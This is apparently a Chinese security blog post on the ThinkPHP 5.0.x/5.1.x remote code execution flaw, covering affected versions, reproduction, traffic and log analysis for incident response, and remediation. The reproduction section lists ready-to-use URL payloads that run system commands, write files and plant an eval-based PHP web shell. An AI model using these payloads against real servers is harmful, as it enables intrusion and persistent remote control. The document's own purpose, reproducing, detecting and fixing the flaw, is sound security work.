Think PHP 5 RCE漏洞复现及排查

目录

一、概述

二、影响范围

三、漏洞复现

 四、应急响应

五、漏洞修复


一、概述

ThinkPHP是一款运用极广的PHP开发框架。其漏洞点是由于ThinkPHP框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

二、影响范围

受影响的版本:ThinkPHP 5.0.x和ThinkPHP 5.1.x

三、漏洞复现

1、收集的一些POC(根据版本不同,有些poc不能利用)


5.0.x 版本:
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=内容用URL编码

5.1版本:
?s=index/think\request/input?data[]=phpinfo()&filter=assert
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
?s=index/\think\template\driver\file/write
&cacheFile=aaa.php&content=<?php @eval($_POST['cmd']);?>

2、实操部分(笔者的环境是ThinkPHP 5.0.20)

 四、应急响应

1、从流量侧分析

如果有记录流量的工具的话,分析整个漏洞攻击流程还是很简单的。在数据包中,清晰的记录了整个攻击流程:

 某种意义上来说针对此类漏洞,流量侧看还是很直观的。

2、日志侧分析

因为笔者环境问题,所以web类日志记录的不是很全面,但总体来说针对此类漏洞,从日志看也是很明朗的:时间、IP、URL、状态码、包大小、请求方法等。

 注:此类日志只是针对web应用层,当攻击者进行提权或者反弹shell后的操作这里是不会记录的。

五、漏洞修复

将版本升级到最新版本,关闭debug功能及开启强制路由

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值